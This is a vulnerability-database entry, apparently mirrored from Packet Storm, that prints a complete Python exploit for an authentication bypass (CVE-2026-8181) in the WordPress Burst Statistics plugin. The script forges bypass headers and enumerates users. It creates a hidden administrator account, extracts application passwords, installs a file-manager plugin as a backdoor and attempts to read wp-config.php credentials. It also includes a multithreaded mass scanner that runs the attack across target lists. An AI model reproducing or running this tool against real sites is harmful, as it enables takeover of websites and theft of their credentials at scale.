Lucene search
K

📄 WordPress Burst Statistics 3.4.1.1 Authentication Bypass

🗓️ 08 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 11 Views

WordPress Burst Statistics plugin authentication bypass enables admin takeover and privilege escalation.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-8181
17 May 202621:47
githubexploit
GithubExploit
Exploit for CVE-2026-8181
16 May 202602:50
githubexploit
GithubExploit
Exploit for CVE-2026-8181
22 May 202617:05
githubexploit
GithubExploit
Exploit for CVE-2026-8181
16 May 202611:06
githubexploit
GithubExploit
Exploit for CVE-2026-8181
14 May 202612:13
githubexploit
GithubExploit
Exploit for CVE-2026-8181
15 May 202609:35
githubexploit
GithubExploit
Exploit for CVE-2026-8181
17 May 202610:06
githubexploit
GithubExploit
Exploit for CVE-2026-8181
22 May 202607:46
githubexploit
ATTACKERKB
CVE-2026-8181
14 May 202605:30
attackerkb
Circl
CVE-2026-8181
14 May 202615:00
circl
Rows per page
==================================================================================================================================
    | # Title     : WordPress 3.4.1.1 Burst Statistics Auth Bypass to Admin Takeover                                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/burst-statistics/                                                                  |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is a multi-component exploitation framework targeting an authentication bypass vulnerability in a WordPress plugin environment, 
                     designed to automate discovery, validation, and privilege escalation workflows.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import json
    import random
    import string
    import sys
    import urllib3
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    try:
        import requests
    except ImportError:
        print("[!] requests library required: pip3 install requests")
        sys.exit(1)
    
    BANNER = """
    ╔══════════════════════════════════════════════════════════════════════════════╗
    ║  CVE-2026-8181 - Burst Statistics Auth Bypass to Admin Takeover              ║
    ║           Affected: 3.4.0 - 3.4.1.1 | By indoushka                           ║
    ╚══════════════════════════════════════════════════════════════════════════════╝
    """
    
    class Colors:
        RED = '\033[91m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        MAGENTA = '\033[95m'
        CYAN = '\033[96m'
        WHITE = '\033[97m'
        RESET = '\033[0m'
        BOLD = '\033[1m'
    
    class BurstExploit:
        def __init__(self, target_url, admin_username=None, verify_ssl=False, timeout=15, output_file=None):
            self.target = target_url.rstrip('/')
            self.admin_user = admin_username
            self.verify = verify_ssl
            self.timeout = timeout
            self.output_file = output_file
            self.session = requests.Session()
            self.session.verify = verify_ssl
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            })
            self.vulnerable = False
            self.discovered_users = []
    
        def log(self, level, msg):
            colors = {
                "info": Colors.BLUE, "ok": Colors.GREEN, "warn": Colors.YELLOW,
                "fail": Colors.RED, "critical": Colors.MAGENTA, "success": Colors.CYAN
            }
            prefix = {"info": "[*]", "ok": "[+]", "warn": "[!]", "fail": "[-]", "critical": "[!!!]", "success": "[✓]"}
            print(f"{colors.get(level, Colors.WHITE)}{prefix.get(level, '[?]')} {msg}{Colors.RESET}")
            
            if self.output_file and level in ["ok", "success", "critical"]:
                with open(self.output_file, 'a') as f:
                    f.write(f"{msg}\n")
    
        def _make_request(self, method, url, headers=None, data=None, json_data=None):
            """Make HTTP request with error handling"""
            try:
                return self.session.request(
                    method, url, headers=headers, json=json_data, data=data,
                    timeout=self.timeout, allow_redirects=False
                )
            except requests.exceptions.Timeout:
                self.log("warn", f"Timeout connecting to {url}")
            except requests.exceptions.ConnectionError:
                self.log("warn", f"Connection error to {url}")
            except Exception as e:
                self.log("warn", f"Request error: {str(e)[:50]}")
            return None
    
        def get_rest_url(self, route):
            """Build REST API URL with fallback for pretty permalinks"""
    
            resp = self._make_request("GET", f"{self.target}/wp-json")
            if resp and resp.status_code == 200:
                return f"{self.target}/wp-json{route}"
            return f"{self.target}/?rest_route={route}"
    
        def build_bypass_headers(self, username):
            """Construct headers that trigger the authentication bypass"""
            fake_creds = base64.b64encode(f"{username}:bypass_CVE_2026_8181".encode()).decode()
            return {
                "X-BURSTMAINWP": "1",
                "Authorization": f"Basic {fake_creds}",
                "Content-Type": "application/json",
                "X-Requested-With": "XMLHttpRequest"
            }
    
        def check_wordpress(self):
            """Verify target is running WordPress"""
            self.log("info", f"Checking {self.target} for WordPress...")
    
            resp = self._make_request("GET", self.target)
            if not resp:
                return False
                
            indicators = ["wp-content", "wp-includes", "wordpress", "generator\" content=\"WordPress"]
            for ind in indicators:
                if ind.lower() in resp.text.lower():
                    self.log("ok", "WordPress detected")
                    return True
    
            rest_resp = self._make_request("GET", f"{self.target}/wp-json")
            if rest_resp and rest_resp.status_code == 200:
                self.log("ok", "WordPress REST API detected")
                return True
                
            self.log("warn", "Could not confirm WordPress installation")
            return False
    
        def check_burst_statistics(self):
            """Detect Burst Statistics plugin and version"""
            self.log("info", "Checking for Burst Statistics plugin...")
    
            resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/readme.txt")
            if resp and resp.status_code == 200:
                for line in resp.text.split('\n'):
                    if "stable tag:" in line.lower():
                        version = line.split(':')[-1].strip()
                        self.log("ok", f"Burst Statistics version: {version}")
                        if version in ["3.4.0", "3.4.1", "3.4.1.1"]:
                            self.log("critical", f"VERSION {version} IS VULNERABLE!")
                            self.vulnerable = True
                            return version
                        else:
                            self.log("warn", f"Version {version} not in vulnerable range (3.4.0-3.4.1.1)")
                            return version
    
            resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/assets/js/build/burst.min.js")
            if resp and resp.status_code == 200:
                self.log("ok", "Burst Statistics plugin detected (version unknown)")
                return "unknown"
                
            self.log("warn", "Burst Statistics not detected or not accessible")
            return None
    
        def enumerate_users(self):
            """Enumerate WordPress users via multiple methods"""
            self.log("info", "Enumerating WordPress users...")
            usernames = set()
    
            resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users")
            if resp and resp.status_code == 200:
                try:
                    users = resp.json()
                    if isinstance(users, list):
                        for user in users:
                            slug = user.get('slug', '')
                            name = user.get('name', '')
                            if slug:
                                usernames.add(slug)
                                self.log("ok", f"Found: {slug} (ID: {user.get('id')})")
                except:
                    pass
    
            for i in range(1, 15):
                resp = self._make_request("GET", f"{self.target}/?author={i}")
                if resp and resp.status_code in [301, 302]:
                    location = resp.headers.get('Location', '')
                    if '/author/' in location:
                        username = location.split('/author/')[-1].rstrip('/')
                        if username and username not in ['', 'admin']:
                            usernames.add(username)
                            self.log("ok", f"Found via author enum: {username}")
    
            resp = self._make_request("GET", f"{self.target}/wp-json/oembed/1.0/embed?url={self.target}")
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'author_name' in data:
                        usernames.add(data['author_name'])
                        self.log("ok", f"Found via oEmbed: {data['author_name']}")
                except:
                    pass
            
            if not usernames:
                default_users = ['admin', 'administrator', 'wordpress', 'wpadmin', 'root']
                if self.admin_user:
                    default_users.insert(0, self.admin_user)
                usernames = set(default_users)
                self.log("warn", f"Using default usernames: {', '.join(usernames)}")
            
            self.discovered_users = list(usernames)
            return self.discovered_users
    
        def test_auth_bypass(self, username):
            """Test if authentication bypass works for a given username"""
            self.log("info", f"Testing bypass with username: {username}")
            headers = self.build_bypass_headers(username)
    
            resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users/me?context=edit", headers=headers)
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if data.get('id', 0) > 0:
                        self.log("success", f"BYPASS SUCCESSFUL! Authenticated as: {data.get('name', username)} (ID: {data['id']})")
                        self.log("ok", f"Email: {data.get('email', 'N/A')}")
                        self.log("ok", f"Roles: {', '.join(data.get('roles', []))}")
                        return data
                except:
                    pass
    
            resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth", 
                                       headers=headers, json_data={})
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'token' in data:
                        self.log("success", "Bypass confirmed via mainwp-auth endpoint!")
                        return data
                except:
                    pass
            
            if resp:
                self.log("fail", f"Bypass failed for {username} (HTTP {resp.status_code})")
            return None
    
        def create_admin_user(self, username, custom_user=None, custom_pass=None):
            """Create new WordPress administrator account"""
            new_user = custom_user or f"sec_{''.join(random.choices(string.ascii_lowercase, k=6))}"
            new_pass = custom_pass or ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))
            new_email = f"{new_user}@localhost.local"
            
            self.log("info", f"Creating admin account: {new_user}")
            headers = self.build_bypass_headers(username)
            
            payload = {
                "username": new_user,
                "password": new_pass,
                "email": new_email,
                "roles": ["administrator"],
                "name": new_user,
                "description": "Created via CVE-2026-8181"
            }
            
            resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/users", 
                                       headers=headers, json_data=payload)
            
            if resp and resp.status_code in [200, 201]:
                try:
                    data = resp.json()
                    if data.get('id'):
                        self.log("critical", "=" * 60)
                        self.log("success", "NEW ADMIN ACCOUNT CREATED!")
                        self.log("ok", f"Username: {new_user}")
                        self.log("ok", f"Password: {new_pass}")
                        self.log("ok", f"Email:    {new_email}")
                        self.log("ok", f"User ID:  {data['id']}")
                        self.log("ok", f"Login:    {self.target}/wp-admin/")
                        self.log("critical", "=" * 60)
                        return {"username": new_user, "password": new_pass, "email": new_email, "id": data['id']}
                except:
                    pass
            
            self.log("fail", "Failed to create admin user")
            return None
    
        def get_app_password(self, username):
            """Obtain persistent Application Password"""
            self.log("info", "Attempting to obtain Application Password...")
            headers = self.build_bypass_headers(username)
            
            resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth", 
                                       headers=headers, json_data={})
            
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'token' in data:
                        token = data['token']
                        try:
                            decoded = base64.b64decode(token).decode()
                            if ':' in decoded:
                                cred_user, cred_pass = decoded.split(':', 1)
                                self.log("success", "Application Password obtained!")
                                self.log("ok", f"Username: {cred_user}")
                                self.log("ok", f"Password: {cred_pass}")
                                return {"username": cred_user, "password": cred_pass, "token": token}
                        except:
                            self.log("ok", f"Token: {token[:50]}...")
                            return {"token": token}
                except:
                    pass
            
            self.log("warn", "Could not obtain Application Password")
            return None
    
        def install_plugin(self, username, plugin_slug="wp-file-manager"):
            """Attempt to install a plugin as admin"""
            self.log("info", f"Attempting to install plugin: {plugin_slug}")
            headers = self.build_bypass_headers(username)
    
            resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/plugins", headers=headers)
            if not resp or resp.status_code != 200:
                self.log("warn", "Cannot access plugins endpoint")
                return None
            payload = {"slug": plugin_slug, "status": "active"}
            resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/plugins", 
                                       headers=headers, json_data=payload)
            
            if resp and resp.status_code in [200, 201]:
                self.log("success", f"Plugin {plugin_slug} installed successfully!")
                return True
            
            self.log("warn", f"Could not install plugin {plugin_slug}")
            return False
    
        def set_wp_config(self, username):
            """Attempt to read wp-config.php (if accessible)"""
            headers = self.build_bypass_headers(username)
    
            paths = ['wp-config.php', '../wp-config.php', '../../wp-config.php']
            for path in paths:
                resp = self._make_request("GET", f"{self.target}/{path}", headers=headers)
                if resp and resp.status_code == 200 and 'DB_NAME' in resp.text:
                    self.log("critical", "FOUND WP-CONFIG.PHP!")
    
                    for line in resp.text.split('\n'):
                        if any(x in line for x in ['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'AUTH_KEY']):
                            if 'define' in line and ')' in line:
                                self.log("ok", line.strip())
                    return resp.text
            
            self.log("warn", "Could not access wp-config.php")
            return None
    
        def run_full_exploit(self, create_admin=True, install_backdoor=False, steal_config=False):
            """Execute complete exploit chain"""
            print(BANNER)
            self.log("info", f"Target: {self.target}")
    
            if not self.check_wordpress():
                self.log("fail", "Target does not appear to be WordPress")
                return None
            version = self.check_burst_statistics()
            if not self.vulnerable and version and version not in ["3.4.0", "3.4.1", "3.4.1.1", "unknown"]:
                self.log("warn", f"Version {version} may not be vulnerable")
                self.log("info", "Proceeding with exploit attempt anyway...")
    
            usernames = self.enumerate_users()
            print()
    
            for username in usernames:
                result = self.test_auth_bypass(username)
                if result:
                    self.log("critical", f"SUCCESS! Exploited with username: {username}")
    
                    print()
                    app_pw = self.get_app_password(username)
    
                    if create_admin:
                        print()
                        new_admin = self.create_admin_user(username)
                        if new_admin:
                            return new_admin
    
                    if install_backdoor:
                        print()
                        self.install_plugin(username)
    
                    if steal_config:
                        print()
                        self.set_wp_config(username)
                    
                    return {"bypassed": True, "username": username, "app_password": app_pw}
            
            self.log("fail", "Exploit failed - target may be patched or protected")
            return None
    
    
    class MassScanner:
        def __init__(self, threads=50, timeout=15, output_file="vulnerable_targets.txt"):
            self.threads = threads
            self.timeout = timeout
            self.output_file = output_file
            self.vulnerable = []
        
        def scan_target(self, target_url):
            """Scan single target for vulnerability"""
            try:
                exploit = BurstExploit(target_url, timeout=self.timeout, verify_ssl=False)
                if exploit.check_wordpress():
                    version = exploit.check_burst_statistics()
                    if exploit.vulnerable:
                        for username in ['admin', 'administrator']:
                            if exploit.test_auth_bypass(username):
                                return {"url": target_url, "vulnerable": True, "username": username, "version": version}
                return {"url": target_url, "vulnerable": False}
            except Exception as e:
                return {"url": target_url, "vulnerable": False, "error": str(e)[:50]}
        
        def scan_from_file(self, file_path):
            """Scan multiple targets from file"""
            with open(file_path, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            
            self.log("info", f"Loaded {len(targets)} targets, scanning with {self.threads} threads")
            
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                futures = {executor.submit(self.scan_target, target): target for target in targets}
                
                for future in as_completed(futures):
                    result = future.result()
                    if result.get('vulnerable'):
                        self.log("success", f"VULNERABLE: {result['url']} (user: {result.get('username')})")
                        with open(self.output_file, 'a') as f:
                            f.write(f"{result['url']} - {result.get('username')} - {result.get('version')}\n")
        
        def log(self, level, msg):
            colors = {"info": Colors.BLUE, "success": Colors.GREEN}
            print(f"{colors.get(level, Colors.WHITE)}[*] {msg}{Colors.RESET}")
    
    
    def interactive_mode():
        """Interactive exploit mode"""
        print(BANNER)
        print(Colors.CYAN + "\nInteractive Exploit Mode\n" + Colors.RESET)
        
        target = input(Colors.YELLOW + "[?] Target URL (http://example.com): " + Colors.RESET).strip()
        if not target.startswith('http'):
            target = 'http://' + target
        
        username = input(Colors.YELLOW + "[?] Admin username (press Enter to enumerate): " + Colors.RESET).strip() or None
        
        exploit = BurstExploit(target, admin_username=username, verify_ssl=False)
    
        if not exploit.check_wordpress():
            print(Colors.RED + "[-] Not a WordPress site!" + Colors.RESET)
            return
        print()
        result = exploit.run_full_exploit(create_admin=True)
        
        if result:
            print(Colors.GREEN + "\n[+] Exploit completed successfully!" + Colors.RESET)
        else:
            print(Colors.RED + "\n[-] Exploit failed!" + Colors.RESET)
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-8181 - Burst Statistics Authentication Bypass to Admin Takeover",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument("-u", "--url", help="Target WordPress URL")
        parser.add_argument("-U", "--username", default="admin", help="Admin username (default: admin)")
        parser.add_argument("--create-user", action="store_true", help="Create new admin account")
        parser.add_argument("--new-user", help="Custom username for new admin account")
        parser.add_argument("--new-pass", help="Custom password for new admin account")
        parser.add_argument("--install-plugin", help="Install a plugin (slug, e.g., wp-file-manager)")
        parser.add_argument("--steal-config", action="store_true", help="Attempt to read wp-config.php")
        parser.add_argument("-k", "--insecure", action="store_true", help="Skip SSL verification")
        parser.add_argument("-t", "--timeout", type=int, default=15, help="Request timeout")
        parser.add_argument("-o", "--output", help="Output file for results")
        parser.add_argument("-l", "--list", help="File containing list of targets (one per line)")
        parser.add_argument("--threads", type=int, default=50, help="Threads for mass scan (default: 50)")
        parser.add_argument("-i", "--interactive", action="store_true", help="Interactive mode")
        
        args = parser.parse_args()
        
        if args.interactive:
            interactive_mode()
            return
        
        if args.list:
            scanner = MassScanner(threads=args.threads, output_file=args.output or "vulnerable_targets.txt")
            scanner.scan_from_file(args.list)
            return
        
        if not args.url:
            parser.print_help()
            sys.exit(1)
        
        exploit = BurstExploit(
            target_url=args.url,
            admin_username=args.username,
            verify_ssl=not args.insecure,
            timeout=args.timeout,
            output_file=args.output
        )
        
        result = exploit.run_full_exploit(
            create_admin=args.create_user,
            install_backdoor=bool(args.install_plugin),
            steal_config=args.steal_config
        )
        
        if result and args.create_user and args.new_user:
            exploit.create_admin_user(args.username, args.new_user, args.new_pass)
        
        if result and args.install_plugin:
            exploit.install_plugin(args.username, args.install_plugin)
        
        if result and args.steal_config:
            exploit.set_wp_config(args.username)
        
        sys.exit(0 if result else 1)
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jun 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.04729
SSVC
11